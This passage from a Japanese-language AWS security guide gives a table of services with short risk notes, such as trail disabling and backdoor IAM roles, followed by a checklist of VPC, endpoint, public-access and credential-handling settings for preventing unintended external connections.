| EFS | ⑤ | VPC内マウントターゲットのみ |
| DMS | ⑤ | Replication InstanceはVPC内 |
| CloudTrail | ⑥a | Trail無効化による証跡隠蔽に注意 |
| CloudWatch（メトリクス/ログ） | ⑥a | ログへのPII混入・偽メトリクス注入 |
| AWS Config | ⑥a | ルール削除による設定ミス隠蔽 |
| X-Ray | ⑥o | トレースに機密データが含まれる場合 |
| Glue | ⑥a | 悪意ETLスクリプト注入に注意 |
| Athena | ⑥a | クエリ結果からの機密データ漏洩 |
| EMR | ⑥a | |
| IAM / Organizations / SCP | ⑥a | ⚠️ 最高リスク：バックドアロール・権限昇格 |
| CodePipeline（制御） | ⑥a | サプライチェーン攻撃の起点 |
| Parameter Store / Secrets Manager | ⑥a | ⚠️ 最高リスク：全認証情報が集約 |
| CloudFormation / CDK（テンプレート） | ⑥a | 悪意リソース定義の注入 |
| Control Tower / Security Hub / GuardDuty | ⑥a | 検出ルール無効化による隠蔽 |
意図しない外部接続を防ぐ チェックリスト
【③ 出口：VPC外実行環境に注意】
コンソール操作しているだけでも、実行環境がVPC外なら出口になる
├─ SageMaker AI → VPC内構成に変更
├─ CodeBuild → VPC設定を有効化
└─ VPC外Lambda → VPCに配置する（ただしNAT GW費用が発生）
【② DynamoDB：VPC Endpointで⑤に格上げ】
├─ Gateway VPC Endpoint を設定（無料）
├─ SCP で「指定VPC外からの dynamodb:* を拒否」
└─ IAMポリシーに aws:SourceVpc / aws:SourceVpce 条件を追加
【② 入口：設定ミスを防ぐ】
├─ S3 パブリックアクセスブロックをアカウントレベルで有効化
├─ RDS パブリックアクセスを無効化
├─ NLB は SG を明示的に設定（デフォルトでは制限なし）
├─ EC2やECS、RDSはプライベートサブネットに配置
└─ ECR プライベートリポジトリを徹底（VPC Endpoint推奨）
【②-R ダッシュボード系：公開設定を定期監査】
├─ CloudWatch Dashboardの共有リンクが有効になっていないか確認
├─ OpenSearch Dashboardsのパブリックアクセス設定を確認
└─ QuickSightの埋め込みURL公開範囲を確認
【①-2 CLI / SDK の認証情報管理】
├─ アクセスキーをハードコードしない
├─ IAMロール（EC2 Instance Profile / ECSタスクロール）を使用
└─ CloudTrail（⑥）で全API呼び出しを監査